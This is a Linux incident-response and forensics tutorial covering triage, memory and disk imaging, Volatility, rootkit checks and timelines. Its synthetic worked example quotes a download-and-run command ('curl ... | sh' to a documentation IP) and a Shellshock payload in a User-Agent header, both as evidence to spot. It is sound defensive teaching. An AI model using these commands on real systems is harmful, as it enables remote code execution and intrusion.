* Basic tools misbehave, disagree with each other, or stop working (<code>ls</code> or <code>ps</code> failing on an otherwise healthy system).
* A listening port shows in a port scan from another machine but not in <code>ss</code> on the host.
* Disk usage that does not add up, or CPU usage with no process to explain it.
* Logs with unexplained gaps, zero-length files (<code>/var/log/wtmp</code>, <code>btmp</code>) or timestamps that jump backwards.
* A "tainted" kernel: <code>cat /proc/sys/kernel/tainted</code> is non-zero. Legitimate causes exist (proprietary or out-of-tree drivers), so treat it as a reason to ask "which module?",  it is not necessarily a verdict.
 
=== Detection tools ===
 
<syntaxhighlight lang="bash">
sudo apt install rkhunter chkrootkit      # or dnf install on RHEL-family (EPEL)
sudo rkhunter --check --sk --rwo          # run all checks; skip keypress prompts; report warnings only
sudo chkrootkit
</syntaxhighlight>
 
<code>rkhunter</code> and <code>chkrootkit</code> compare the system against known signatures and known-bad file locations and look for suspicious changes. Findings are logged (for rkhunter, in <code>/var/log/rkhunter.log</code>). They are a quick extra check, however they are not the main method. Treat their output as leads from which to begin searches:
 
* They are '''signature-based''': they recognize rootkits they already know about, so a clean report says little about new or custom tools (false negatives), and a warning does not prove a rootkit (false positives). <code>chkrootkit</code> in particular sees little development, and many investigators no longer rely on it.
* They run ''on'' the suspect system. Against a kernel-level rootkit, the tool is being lied to as well. Where it matters, examine the disk from trusted boot media or a copy of the disk image, and analyze memory from outside the machine (see [[#Going deeper: memory analysis with Volatility 3|Volatility]]).
* <code>rkhunter</code> is much more useful if you run <code>sudo rkhunter --propupd</code> on a known-clean system first, so later runs can detect changed files.
 
=== Verify installed files against the package manager ===
 
<syntaxhighlight lang="bash">
sudo apt install debsums && sudo debsums -c      # Debian/Ubuntu: list installed files whose checksum changed
sudo rpm -Va                                      # RHEL family: verify all packages
</syntaxhighlight>
 
A modified <code>/bin/ls</code>, <code>/usr/bin/ps</code> or <code>sshd</code> that does not match its package is a serious finding. (Configuration files legitimately differ, and a determined attacker can also tamper with the package database, so this is one more piece of evidence, not proof.)
 
=== Cross-checking tools against each other ===
 
Because a rootkit typically fools some tools but not others, disagreement is informative:
 
<syntaxhighlight lang="bash">
echo /usr/src/.*                  # the shell's own glob expansion; does it show entries ls hides?
ls /proc | grep -E '^[0-9]+$' | wc -l ; ps -e --no-headers | wc -l    # process count via /proc vs via ps
sudo apt install unhide && sudo unhide proc                            # look for processes hidden from ps
lsmod                                                                    # compare to a known-good machine's module list
</syntaxhighlight>
 
A statically linked tool (such as <code>busybox</code>, if installed) does not load shared libraries, so it is not fooled by a library-preload rootkit. Kernel-module rootkits are much harder to catch from inside the running system, which is why memory analysis is the stronger method.
 
=== Log tampering ===
 
<syntaxhighlight lang="bash">
ls -la /var/log                    # any log suddenly tiny, empty, or not modified when it should be?
journalctl --verify                # consistency check of the journal files
</syntaxhighlight>
 
The best defense is a copy of the logs the attacker cannot reach: forward them to a remote log server (for example with <code>rsyslog</code>) so that deleting local lines does not delete the record.
 
== Going deeper: memory analysis with Volatility 3 ==
 
Why bother with memory? It is smaller than the disk (64 GB of RAM is far easier to collect and store than 2 TB of disk) and holds things a disk image does not: every running process (including hidden ones), network connections, the shell history of open sessions, loaded kernel modules, cached file contents, and sometimes encryption keys.
 
[https://github.com/volatilityfoundation/volatility3 Volatility 3] is the standard open-source framework for analyzing memory images. Its Linux support has one big obstacle.
 
=== The symbols problem ===
 
Volatility must know how the exact kernel that produced the image lays out its data in memory. That description is called a "symbol table" (or profile). Windows and macOS have few kernel versions, so ready-made ones exist. Linux has thousands of combinations (each distribution, each kernel update, each vendor's build options), and you may need a different symbol file for every machine in an investigation.
 
Making one requires the kernel built '''with debugging symbols''': a "debug" kernel package for the exact version (named with <code>-dbg</code> or <code>-dbgsym</code> depending on the distribution), which is large (gigabytes) and not always available (some distributions do not publish them, and end-of-life systems may have lost them). The Volatility documentation itself states that it may not be possible to find the right symbols for a Linux image. A community-maintained collection of ready-made symbol files exists (see the [https://volatility3.readthedocs.io/en/latest/symbol-tables.html symbol tables documentation]), so check it before building your own.
 
<syntaxhighlight lang="bash">
# 1. What kernel was running? (a banner is stored in memory)
vol -f memory.lime banners.Banners
strings -a memory.lime | grep PRETTY_NAME=            # the distribution name, too
 
# 2. If you have the matching debug kernel (a large "vmlinux" file, hundreds of MB; a normal one is under ~10 MB)
sudo find / -name 'vmlinu*' -size +100M 2>/dev/null
file /usr/lib/debug/boot/vmlinux-5.10.0-21-amd64      # look for "with debug_info, not stripped"
 
# 3. Convert it into a symbol file and place it where Volatility looks
dwarf2json linux --elf /usr/lib/debug/boot/vmlinux-5.10.0-21-amd64 > vmlinux-5.10.0-21-amd64.json
cp vmlinux-5.10.0-21-amd64.json /path/to/volatility3/symbols/linux/
</syntaxhighlight>
 
If the debug kernel is present on the machine you are analyzing, you are very lucky. The command name (<code>vol</code>, <code>vol.py</code> or <code>vol3.py</code>) depends on how it was installed, and you can keep symbol files with the image by pointing Volatility at the current directory with <code>-s .</code>.
 
=== The plugins you will use most ===
 
Plugin names and output change between versions. List the current ones with <code>vol --help | grep linux.</code>. A good first test is <code>linux.pslist.PsList</code>: it is fast, and if it produces sensible output your image and symbols are working.
 
{| class="wikitable"
! Plugin !! What it answers
|-
| <code>linux.pslist.PsList</code> || What processes exist (PID, parent PID, name)?
|-
| <code>linux.psaux.PsAux</code> || The same, with each process's full command line.
|-
| <code>linux.pstree.PsTree</code> || The parent/child tree, useful for "how was this started?"
|-
| <code>linux.lsof.Lsof</code> || Which files does a process have open (add <code>--pid</code> to pick one)? Reveals executables and data in strange places.
|-
| <code>linux.elfs.Elfs</code> and <code>linux.proc.Maps</code> || Which executable and libraries a process loaded, and its memory segments (where injected code can appear).
|-
| <code>linux.sockstat.Sockstat</code> || Network connections and listeners (filter with <code>grep AF_INET</code> to skip the noisy local sockets).
|-
| <code>linux.bash.Bash</code> || Command history recovered from running shells, ''with timestamps''.
|-
| <code>linux.lsmod.Lsmod</code> || Loaded kernel modules (the ones that are not hidden).
|}
 
The <code>bash</code> plugin is often more valuable than the history file on disk, for two reasons: history in memory includes the current session's commands that have not been saved yet, and each command has a timestamp. When a shell starts, it loads the saved history, so the first block of lines all share the shell's start time; the lines after them, with different times, are what was typed in that session.
 
=== Hunting for rootkits in memory ===
 
<syntaxhighlight lang="bash">
vol -s . -f memory.lime linux.check_modules.Check_modules    # kernel modules hidden from the normal module lists
vol -s . -f memory.lime linux.check_syscall.Check_syscall    # system calls whose handlers have been replaced (hooks)
vol -s . -f memory.lime linux.check_creds.Check_creds        # processes sharing credentials, a sign of credential tampering
</syntaxhighlight>
 
* <code>Check_modules</code> compares the several lists the kernel keeps of loaded modules and reports modules missing from some of them, the fingerprint of a module hiding itself. Expect the occasional false positive (for example a legitimate virtualization driver), so investigate everything. A rootkit that does not hide, instead using an ordinary name, is caught by comparing <code>Lsmod</code> output with a known-good machine.
* <code>Check_syscall</code> shows the system-call table. Depending on the version, it may not flag hooked entries directly, so a practical trick is to run it on a memory image from a clean machine of the same kernel and compare the two lists: anything present in one but not the other stands out. In one published example (a memory image infected with a known Linux rootkit), the entries that differed were for listing directories (which lets a rootkit hide files, and, because Linux exposes processes as files under <code>/proc</code>, hide processes too) and for sending signals.
* Other plugins (for example <code>Check_afinfo</code>, <code>Check_idt</code>, <code>Keyboard_notifiers</code>, <code>Tty_check</code>) look for network-structure tampering and keylogger techniques.
 
After that use YARA rules built from indicators you already have (the <code>YaraScan</code> plugin, or YARA directly), look at the <code>bash</code> history for the commands used to install the rootkit, and search the image with <code>strings</code>.
 
=== No symbol file? Quick triage instead ===
 
Even without Volatility working, a memory image can be mined. <code>strings</code> pulls out readable text, and [https://github.com/simsong/bulk_extractor bulk_extractor] finds and tallies URLs, addresses, e-mail addresses and domains, and extracts any network packets it finds.
 
<syntaxhighlight lang="bash">
strings -a memory.lime | gzip > memory.strings.gz    # keep for context searches
bulk_extractor -o be-out memory.lime                # the output folder must not already exist
 
head be-out/url_histogram.txt                        # start with the histograms: common URLs, IPs, domains
head be-out/ip_histogram.txt
 
# who was talking to whom, from packet fragments bulk_extractor recovered
tshark -n -r be-out/packets.pcap -Tfields -e ip.src -e tcp.srcport -e ip.dst -e tcp.dstport | sort | uniq -c | sort -nr | head
</syntaxhighlight>
 
Look for what does not belong: a strange URL, an address you do not recognize appearing many times in a row (like g00gle.com). Then search the saved strings around that item (<code>zgrep -F -C3 suspicious.example memory.strings.gz</code>) for context.
 
== Step 6: Building a timeline ==
 
Investigations get clear once events are in one ordered list. A '''timeline''' combines file timestamps (and, with more effort, log entries) into a single chronological view, so you can see the attacker moving through the system. It is one of the fastest ways to find intrusion artifacts.
 
=== Quick version ===
 
<syntaxhighlight lang="bash">
# every file changed on 10 Sep, oldest first: change time, modify time, owner, path
sudo find / -xdev -type f -newermt '2026-09-10 00:00' ! -newermt '2026-09-11 00:00' \
    -printf '%C+ %T+ %u %p\n' | sort
 
stat /var/tmp/.cache/update        # shows access, modify, change (and, on many filesystems, birth) times
 
# files changed after a file you already know the attacker touched
sudo find / -xdev -newer /etc/passwd -type f -ls 2>/dev/null
ls -lArt /etc                      # a directory sorted by modification time, oldest first
</syntaxhighlight>
 
=== The full method (The Sleuth Kit) ===
 
For a real investigation, use [https://www.sleuthkit.org/ The Sleuth Kit]. You collect the raw timestamps into a "body file" (named after an early forensic toolkit), then turn it into a sorted timeline. Here the file systems come from a disk image; on a live system, UAC has already collected a body file for you.
 
<syntaxhighlight lang="bash">
# 1. one body file per file system ("-m /" = the mount point prefix to put on each path)
fls -r -m / /dev/mapper/VOLUME_GROUP_NAME-root | gzip > bodyfile-root.gz
fls -o 2048 -r -m /boot /mnt/img/ewf1 | gzip > bodyfile-boot.gz    # -o = the partition's start sector, from mmls
 
# 2. build a chronological CSV, in UTC, showing user and group names from the image (not your workstation)
zcat bodyfile-*.gz | mactime -d -y -p /mnt/data/etc/passwd -g /mnt/data/etc/group 2026-09-01 > timeline.csv
</syntaxhighlight>
 
Open the CSV in a spreadsheet or a timeline viewer. The date argument means "from this date forward"; use a range such as <code>2026-09-01..2026-09-15</code> to limit it further. Then start from '''pivot points''': places in the timeline you already have reason to look.
 
* The moment a suspicious executable was created (its birth or change time) and the directory it was installed in.
* Modification times on <code>/etc/passwd</code> and <code>/etc/shadow</code> if accounts were added.
* An alert, a log entry or a suspicious login.
* Files created just before a persistence mechanism (a cron entry, a service unit) was added.
 
=== Understanding Linux timestamps ===
 
Files have four time values:
 
{| class="wikitable"
! Name !! Meaning !! Notes
|-
| '''mtime''' (modified) || When the contents last changed || Easy for an attacker with root to set to any value with <code>touch -d</code>.
|-
| '''atime''' (accessed) || When the contents were last read or run || Linux usually mounts with <code>relatime</code>, which updates atime only if it is older than the mtime/ctime, or more than 24 hours old. So atime is updated only occasionally, but is still sometimes useful (for example on a rarely-used program the attacker dropped and ran). Your own investigation also changes atimes.
|-
| '''ctime''' (changed) || When the file's ''metadata'' last changed (permissions, owner, name, contents) || Normal tools cannot set it directly, so a file whose mtime says 2019 but whose ctime says last Tuesday has probably been "timestomped." But an attacker with root can still change it (by setting the system clock, or by editing the file system directly with a tool such as <code>debugfs</code>).
|-
| '''btime''' (birth/creation) || When the file was created || Recorded by ext4 and shown by <code>stat</code> ("Birth"); not available on every file system or tool.
|}
 
Timelines have limits. Timestamps are temporary: each file keeps only its latest values. If an attacker edits <code>/etc/shadow</code> and a user later changes a password, the attacker's timestamp is overwritten and your timeline has a hole. Normal system activity also updates timestamps. Administrators (and attackers with root) can change them at will. And you need to know what is normal to interpret them: a set-UID bit turned on for a shell is alarming; the same change to a package's own program during an update is not.
 
For those reasons, treat a timeline as '''a guide to evidence, not evidence itself'''. It points you to the files, logs and memory artifacts that you then examine and can report.
 
Some other useful timing facts:
 
* Work in one time zone (UTC is easiest). File systems store times in UTC, but command-line tools display them in your workstation's local time zone unless you tell them otherwise.
* The SSH host keys under <code>/etc/ssh</code> are usually created the first time a system boots. Their timestamps therefore hint at when the system was first started, useful for judging how old a system or a cloned image is. (Linux does not otherwise record an install date.)
* Check the system's own clock and time zone against its logs before you compare times across sources.
 
=== A note on deleted files ===
 
Recovering deleted files is harder on Linux than people expect. On ext4, deleting a file typically wipes the information that says where its data was stored, and XFS behaves similarly, so undeleting it is often impractical. It is far better to catch a malicious file while it still exists (or while a process still has it open: see [[#Reading the process list|reading the process list]] above) than to count on recovering it later. The internals of the ext4 and XFS file systems are a deep subject of their own; see the sources below if you need them.
 
== Worked example ==
 
''This is a made-up scenario (synthetic logs, documentation IP addresses) showing how the pieces fit together.''
 
'''Report:''' the web server is slow, and the monitoring tool flagged outbound traffic to an unfamiliar address.
 
'''1. Volatile state.''' The process tree shows a shell started by the web server, and a process nobody can identify:
 
<syntaxhighlight lang="text">
www-data  4108  apache2 -k start
www-data  4121  \_ sh -c curl -s http://203.0.113.50/u.sh | sh
www-data  4188  /var/tmp/.cache/update
</syntaxhighlight>
 
<syntaxhighlight lang="text">
$ sudo ss -tnp state established
Recv-Q Send-Q  Local Address:Port    Peer Address:Port  Process
0      0      10.0.0.5:48822        203.0.113.50:4444  users:(("update",pid=4188,fd=3))
</syntaxhighlight>
 
Already there are three clues: a web-server child running a downloader, a program in a hidden directory under <code>/var/tmp</code>, and an outbound connection owned by that program.
 
'''2. Way in.''' The access log around the time process 4121 started (14:02 UTC) holds:
 
<syntaxhighlight lang="text">
198.51.100.7 - - [10/Sep/2026:14:02:11 +0000] "GET /cgi-bin/status.sh HTTP/1.1" 200 412 "-" "() { :;}; echo; /usr/bin/id"
</syntaxhighlight>
 
A <code>() {</code> in the User-Agent, sent to a CGI script, is a Shellshock attempt. The <code>200</code> and the timing (the shell appears seconds later) suggest it worked. The client address, <code>198.51.100.7</code>, is the same one that was guessing SSH passwords minutes earlier in <code>auth.log</code>, so the attacker was probing more than one way in.
 
'''3. Persistence.''' The cron directory for the web user contains a job that restarts the unknown program every minute:
 
<syntaxhighlight lang="text">
$ sudo cat /var/spool/cron/crontabs/www-data
* * * * * /var/tmp/.cache/update >/dev/null 2>&1
</syntaxhighlight>
 
Killing process 4188 alone would have accomplished nothing; it would have been relaunched within a minute. Before killing it, the analyst copies the program out of <code>/proc/4188/exe</code> and hashes it.
 
'''4. Timeline.'''
 
{| class="wikitable"
! Time (UTC) !! Event !! Source
|-
| 13:58 to 13:59 || Repeated SSH failures from 198.51.100.7, then a successful login as <code>deploy</code> || <code>auth.log</code>
|-
| 14:02 || Shellshock-style request against <code>/cgi-bin/status.sh</code> || <code>access.log</code>
|-
| 14:02 || <code>apache2</code> spawns a shell that downloads and runs a script || process tree
|-
| 14:03 || <code>/var/tmp/.cache/update</code> created; cron entry added || file times, crontab
|-
| 14:03 onward || Outbound connection to 203.0.113.50:4444 || <code>ss</code>
|}
 
'''5. Conclusions and open questions.''' The web server was compromised through a vulnerable CGI script, and there is persistence and an active outbound connection. Open questions: was the <code>deploy</code> SSH login also the attacker (check that account's history and keys)? What did the attacker reach with the web user's permissions? Is there any sign of privilege escalation to root (set-UID files, new accounts, a rootkit)? Until those are answered the machine cannot be considered clean.
 
== After the analysis ==
 
* '''Contain:''' isolate the host from the network (firewall rule or unplug) rather than powering it off, so volatile evidence is preserved until you have captured it.
* '''Eradicate and recover:''' if an attacker had root, or if you found a rootkit, the safest course is to rebuild the system from trusted media and restore data from a backup that pre-dates the compromise, rather than trying to clean it in place.
* '''Reset credentials and keys''' that were on the machine: passwords, SSH keys, API tokens, database passwords, TLS keys.
* '''Close the way in:''' patch the vulnerable software, disable unneeded services (see [[Introduction to Service Auditing]]), and tighten SSH (key-only login, no root login, rate limiting).
* '''Write it up:''' the timeline, what you found, what you did and what you could not determine. This is what turns an incident into a lesson.
 
== Quick reference: symptom to first check ==
 
{| class="wikitable"
! Symptom !! First place to look
|-
| Unexpected logins || <code>last -aiF</code>, <code>auth.log</code> (or <code>secure</code>), <code>journalctl -u ssh</code>
|-
| Web server slow or making outbound connections || Process tree (<code>ps --forest</code>), <code>ss -tnp</code>, web access and error logs
|-
| A process you cannot identify || <code>/proc/PID/exe</code> and <code>cwd</code>; is the executable deleted, under <code>/tmp</code>, <code>/var/tmp</code> or <code>/dev/shm</code>, or in a hidden directory?
|-
| A user or service you do not recognize || <code>/etc/passwd</code> (UID 0 and login shells), <code>/etc/shadow</code>, <code>sudoers</code>
|-
| A program that keeps coming back || <code>crontab</code>s, <code>systemctl list-timers</code>, enabled unit files, shell start-up files, scripts those run
|-
| Someone can log in without a password || <code>authorized_keys</code> files, <code>sshd_config</code>
|-
| Commands behave strangely or disagree || <code>debsums</code> or <code>rpm -Va</code>, <code>/etc/ld.so.preload</code>, a memory image with Volatility, a trusted boot disk, <code>rkhunter</code> as a secondary check
|-
| Logs look too clean || File sizes and mtimes in <code>/var/log</code>, remote log server, <code>journalctl --verify</code>
|-
| "What happened, and in what order?" || A timeline: <code>find -printf</code> for a quick look, TSK <code>fls</code> plus <code>mactime</code> for a full one
|-
| Machine is off, or you have only a disk || Mount the image read-only (<code>ro,noexec,noload</code>) and work through steps 2 to 6 on the mount
|}
 
== Practicing safely ==
 
The safest way to learn this is on machines built for it. Use intentionally vulnerable practice applications such as DVWA or WebGoat, run inside an isolated virtual machine or container on a network that is not connected to anything you care about, then practice on the ''defender'' side: read the logs, process list and files that your own test attack left behind. Never point attack tools at systems you do not own or have written permission to test.
 
For disk-analysis practice there are also published sample Linux disk images, for example the set created by Ali Hadi's team at Champlain College for a digital forensics workshop, available from the [https://github.com/ashemery/LinuxForensics LinuxForensics repository on GitHub]. Check that repository's own terms before copying or redistributing anything from it.
 
== Credits and license ==
 
Parts of this page are adapted from ''Linux Forensics'' (version 3.0.2) by Hal Pomeranz, Copyright © Hal Pomeranz, distributed under the [https://creativecommons.org/licenses/by-sa/4.0/ Creative Commons Attribution-ShareAlike 4.0 International License]. The original course slides are available from the [https://archive.org/details/HalLinuxForensics Internet Archive].
 
== Sources and further reading ==
 
* Hal Pomeranz, [https://archive.org/details/HalLinuxForensics ''Linux Forensics'']. A full course covering the topics on this page in depth, including ext4 and XFS file system internals and deleted-file recovery.
* [https://attack.mitre.org/matrices/enterprise/linux/ MITRE ATT&CK: Linux matrix]. A catalog of attacker techniques (persistence, privilege escalation, defense evasion and more) with detection guidance.
* [https://csrc.nist.gov/pubs/sp/800/61/r3/final NIST SP 800-61 Rev. 3]. Incident response recommendations from the U.S. National Institute of Standards and Technology.
* [https://owasp.org/www-project-top-ten/ OWASP Top 10]. The most common web application risks, including injection.
* [https://nvd.nist.gov/vuln/detail/CVE-2014-6271 CVE-2014-6271 (Shellshock)] in the National Vulnerability Database.
* Tools: [https://github.com/tclahr/uac UAC] (live collection), [https://github.com/microsoft/avml AVML] and [https://github.com/504ensicsLabs/LiME LiME] (memory capture), [https://github.com/volatilityfoundation/volatility3 Volatility 3] (memory analysis), [https://www.sleuthkit.org/ The Sleuth Kit] (disk and timeline analysis), [https://github.com/libyal/libewf libewf] (E01 images), [https://github.com/simsong/bulk_extractor bulk_extractor] (data carving).
* [https://man7.org/linux/man-pages/ Linux man pages]. Reference for <code>ss</code>, <code>find</code>, <code>stat</code>, <code>journalctl</code>, <code>last</code>, <code>ausearch</code>, <code>mount</code>, <code>losetup</code> and the other commands used above.
 
[[Category:Linux]]

Latest revision as of 23:38, 2 October 2026

Recommended Prerequisites (click to expand)

Intro to Bash, Grep and Loops, Introduction to Service Auditing, User Auditing - Beginner

Attack analysis is the work you do after something has gone wrong, or when you suspect it has: for example working out how an attacker got in, what they did, whether they are still there, and what you can prove. This page will walk you through that process on a Linux system, and will use tools that ship with a typical distribution, as well as a few free forensic tools for memory and disk images.

Ground rules

  • Only analyze systems you own or are explicitly authorized to examine. This one is pretty self-explanatory.
  • Write down what you do. Keep track of all the commands you run and the time you ran them (in UTC). Your notes are how you (or someone else, like your colleague) can later tell your activity apart from the attacker's.
  • Any indicator is a lead, but not proof. A failed-login flood, an odd file in /tmp or a scanner warning each has innocent explanations. Look for several independent signs that tell the same story.
  • Do not trust a compromised machine to tell the truth. If an attacker had administrator (root) access, they may have replaced the very commands you use to investigate. See Step 5.
  • Understand before you delete. Removing a malicious file or killing a process is tempting, but it also destroys evidence and can leave the backdoor/persistence (a cron job, an SSH key) untouched.
  • Work on copies, read-only. Whenever you can, examine an image of the disk or memory rather than the original, mount images read-only, and record a hash (for example with sha256sum) of each image when you make it so you can show later that it did not change.

The analysis loop

Most investigations follow the same rough loop. You will often go around it more than once as new findings raise new questions.

  1. Preserve evidence: memory, running state and disks, before they change or disappear.
  2. Find the way in: the initial access (a guessed password, a vulnerable web application, a stolen key).
  3. Find what they did: commands run, files touched, accounts created, data reached, etc.
  4. Find what they left behind: persistence/backdoors so they can come back.
  5. Look for hiding: rootkits and log tampering.
  6. Build a timeline that ties the above together, and check it for gaps.
  7. Contain, clean up and harden: only once you understand the scope.

Three ways to examine a system

The same questions can be asked of a running machine, a copy of the memory of the machine, or a copy of the machines disk. Each has strengths and blind spots, and a thorough investigation will always use more than one of the following approaches.

Approach What you get Watch out for
Live system (typed commands, or a collection tool such as UAC) Fast. Running processes, network connections, logged-in users, files and logs, in minutes. It is often the only practical option you have when disks are huge, or the network is slow, or there are many machines. Every command you run changes the system, and you are relying on tools the attacker may have tampered with (for example, replacing /bin/cat with a malicous script).
Memory image Processes (including ones hidden from normal tools), network connections, loaded kernel modules, shell command history with timestamps, and data that never reaches disk. Only exists while the machine is on. Linux analysis needs a description ("symbols") of the exact kernel that was running, which can be hard to obtain (see below).
Disk image Everything is stored on the disk: logs, configuration, user files, timestamps. It can only be examined read-only, so it is the safest to work with, and can be examined again and again. There is no running state. It is also a large file. Linux disks have extra layers (LVM, RAID, encryption) to get through, and deleted files are often extremely hard to recover.

Where Linux keeps evidence

Paths differ slightly between distributions. The main split is Debian/Ubuntu versus Red Hat family (RHEL, Fedora, Rocky, Alma).

What Where (Debian/Ubuntu) Where (RHEL family) What it tells you
Authentication and sudo /var/log/auth.log /var/log/secure SSH logins (successful and failed), sudo and su use, new accounts
General system log /var/log/syslog /var/log/messages Service starts and crashes, kernel messages, cron runs
systemd journal journalctl journalctl The same events, indexed; the only source on systems without a syslog daemon
Login records last, lastb, lastlog (read /var/log/wtmp, btmp, lastlog) same Who logged in, from where, and when; failed logins
Web server logs /var/log/apache2/ or /var/log/nginx/ /var/log/httpd/ or /var/log/nginx/ Every request the web server handled (see below)
Audit framework (if installed) /var/log/audit/audit.log /var/log/audit/audit.log File access, command execution and account changes, according to the rules configured
Package history /var/log/dpkg.log, /var/log/apt/history.log dnf history, /var/log/dnf.log Software installed or removed, and when
Shell history ~/.bash_history (for each user) same Commands a user typed (can be disabled or erased, so no command history does no necessarily mean something has gone wrong)
Scheduled tasks /etc/crontab, /etc/cron.*, /var/spool/cron/crontabs/ /etc/crontab, /etc/cron.*, /var/spool/cron/ Commands that run automatically

If /var/log/auth.log does not exist on a newer install, the system is logging to the journal only; use journalctl instead.

When you examine a mounted disk image (see below), put the mount point in front of every one of these paths, for example /mnt/data/var/log/auth.log. It is easy to read your own workstation's /var/log by accident.

Step 1: Preserve evidence

Evidence disappears in a predictable order: memory and running processes first, then temporary files, then things on disk, and finally whatever is stored somewhere the attacker cannot reach (i.e., a remote log server). Capture the most fragile evidence first, and do not reboot the machine until you have it. Where possible, write what you collect to external storage, not the compromised disk, so you do not overwrite deleted files that might matter.

Live triage and volatile state

If you have a way to capture memory (see the next section), do that first, as every command you type also changes what is in memory. If you do not, start with these:

date -u; uptime                     # record the time and how long it has been up
who -a; w                           # who is logged in right now, and doing what
ps -eo pid,ppid,user,lstart,cmd --forest   # process tree with start times
sudo ss -tunap                      # all sockets with the owning process
sudo lsof -nP -i                    # network files, a second opinion on ss

Typing commands by hand is slow and is easy to get wrong under pressure. UAC (Unix-like Artifacts Collector) is a free script that gathers the important live artifacts in a few minutes (processes and their executable paths, network connections, logged-in users, user and SSH files, logs, a list of set-UID programs, hashes of executable files, and a "body file" of all file timestamps for timelines) and saves them in one compressed archive. It can also call a memory-capture tool:

# run from the unpacked UAC directory; "ir_triage" is the quick profile, "full" adds browser and application data
sudo ./uac -p ir_triage /mnt/evidence

# same as the above, but also includes a memory dump with AVML (UAC ships a configuration for it)
sudo ./uac -a memory_dump/avml.yaml -p ir_triage /mnt/evidence

Option names and output folders change between UAC versions, so check the current documentation before an incident, not during an incident.

Reading the process list

It is important to read the process tree with the parent/child relationship in mind. On Linux the tree is mainly flat and regular, so not normal things stand out:

  • A web server with a shell (sh, bash) or a download tool (curl, wget) as a child is one of the most obvious indicators of a web-application compromise, because the web server has no ordinary reason to do that. In general, background services should not spawn interactive shells.
  • Programs running from the wrong place. System programs live under /usr (and third-party software under /opt or /usr/local). A program running from /tmp, /var/tmp, /dev/shm or someone's home directory should be scrutinized.
  • Programs running from a deleted file. Malware can start itself and then delete its own executable, while the process keeps running. However, the file will be gone from the disk.
  • Programs whose working directory is a hidden directory (a name starting with a dot, i.e. .ssh).
  • Orphans. When a parent process exits, its children are adopted by the init process (PID 1, usually systemd), so an attacker's background job often shows a parent PID of 1. Many legitimate services look the same, so this is a reason to look, not a conclusion.
  • Disguised names. A process can rename itself so that ps shows something like [kworker/3:3], which looks like a kernel thread. Real kernel threads are children of kthreadd (PID 2) and have no executable file.
# programs running from a file that has since been deleted (common for malware that removes itself)
sudo sh -c 'ls -l /proc/[0-9]*/exe' 2>/dev/null | grep -F '(deleted)'

# running programs whose executable is not under /usr, /opt or /snap (starting point, expect some noise)
sudo sh -c 'ls -l /proc/[0-9]*/exe' 2>/dev/null | grep -vE -- '-> /(usr|opt|snap)/'

# processes whose current directory is a hidden directory
sudo sh -c 'ls -l /proc/[0-9]*/cwd' 2>/dev/null | grep -F '/.'

# "kernel threads" that are not children of kthreadd (PID 2): probably impostors
ps -eo pid,ppid,user,cmd | awk '$4 ~ /^\[/ && $2 != 2 && $1 != 2'

# what a suspicious process (PID 4188 here) is and where it lives
sudo ls -l /proc/4188/exe /proc/4188/cwd
sudo cat /proc/4188/cmdline | tr '\0' ' '; echo

Recovering a deleted program. Because the running process still holds the file open, you can copy it out of /proc before you kill the process, and then hash it and study it (or look it up):

sudo cp /proc/4188/exe /mnt/evidence/pid4188.bin
sha256sum /mnt/evidence/pid4188.bin

Also note listening ports (sudo ss -tulpn) that you cannot account for. Attackers sometimes leave a listener behind as a back door, and some tools default to well-known ports such as 4444, though a careful attacker will pick something ordinary-looking.

Where attackers stage files

Attackers who have not (yet) gained administrator access can still write to a few places, so these are worth checking first:

  • /tmp and /var/tmp: world-writable and the classic spot.
  • /dev/shm: also world-writable, but it lives only in memory. Everything in it is lost at shutdown, which makes it attractive for files the attacker does not want found. Look in it before you power the machine off.
  • Hidden directories (names starting with .), especially ones that imitate something legitimate. For example, /tmp/.ICE-unix is a normal directory on Linux desktops, so a similar-looking /tmp/.ICEd-unix is designed to be overlooked. Another trick is a directory named with two dots and a trailing space (.. ) placed next to the real ...
# hidden directories anywhere except /proc, /sys, root's home and users' home directories (which have legitimate ones)
sudo find / \( -path /proc -o -path /sys -o -path /root -o -path '/home/*' \) -prune -o -type d -name '.*' -print 2>/dev/null

sudo find /tmp /var/tmp /dev/shm -type f -ls

Capturing memory

Memory is the most fragile evidence and holds things that never reach disk. Historically you could copy /dev/mem with dd, but the kernel now restricts that, so you need tools.

Tool How it works Notes
AVML Reads memory through /proc/kcore. A single program you copy to the machine. Usually the easiest choice. Writes to a file.
LiME A kernel module you build for the machine's kernel and load Can write straight to the network. Also works on Android.
sudo ./avml /mnt/evidence/memory.lime

Writing a multi-gigabyte file onto the suspect's own disk can overwrite deleted files you might want. Write to an external or network drive if you can. AVML insists on writing a "file," so if there is nowhere to put one you can give it a named pipe (FIFO) that forwards the data over the network as it is written:

# on the analysis machine: listen and save (netcat options differ between versions; this is the traditional form)
nc -l -p 9999 > memory.lime

# on the suspect machine
mkfifo /tmp/memfifo
cat /tmp/memfifo | nc -w 1 ANALYSIS_MACHINE_IP 9999 &
sudo ./avml /tmp/memfifo

Only do this over a network you trust, as netcat does not encrypt anything. Hash the memory file when it is complete. Then check that you can actually use it, becuase Linux memory analysis often fails at the first hurdle (see the Volatility section).

Capturing a disk

How you image a disk depends on where the machine lives. It is best to be flexible as no single method fits every single case.

  • Public cloud: use the provider's documented forensic procedure (usually a snapshot of the volume that you attach to an analysis instance).
  • Your own hypervisor: snapshot the virtual machine. That typically gives you a memory image as well as the disk. Convert the virtual disk to a raw image if your tools need it (qemu-img convert does this).
  • Physical disk: image the disk from a trusted boot environment (or through a hardware write blocker) with a forensic imager such as ewfacquire (compressed E01 files) or dc3dd (raw).
# raw image with a built-in hash and log (replace /dev/sdb with the disk being imaged)
sudo dc3dd if=/dev/sdb of=/mnt/evidence/disk.raw hash=sha256 log=/mnt/evidence/disk.log

Forensic imaging usually happens on machines that were not shut down cleanly (a clean shutdown usually alters the disk). As a result, the file systems in the image are often "dirty," which matters when you mount them (below).

Working from a disk image

Linux forensic tools generally want a raw image. Common forensic formats such as E01 must be converted or exposed as raw first. To add on to that, Linux disks are also often built in layers, and you may have to peel them back one at a time:

  1. E01 container (if used): expose it as a raw disk image.
  2. Partition table: find which partitions exist and where they start.
  3. Encryption or software RAID (if used): unlock or assemble it. (Not covered.)
  4. LVM (very common): activate the logical volumes.
  5. File system: mount it read-only.
sudo mkdir -p /mnt/img /mnt/data

# E01 container -> a virtual raw file at /mnt/img/ewf1 (read-only). Skip this if you already have a raw image.
sudo ewfmount Webserver.E01 /mnt/img

# partition table to check what's inside (mmls is from The Sleuth Kit; note each partition's Start sector)
mmls /mnt/img/ewf1

# attach a read-only loopback device at a partition's start (start sector x 512 bytes)
START_SECTOR=501760
sudo losetup -rf -o $((START_SECTOR*512)) /mnt/img/ewf1
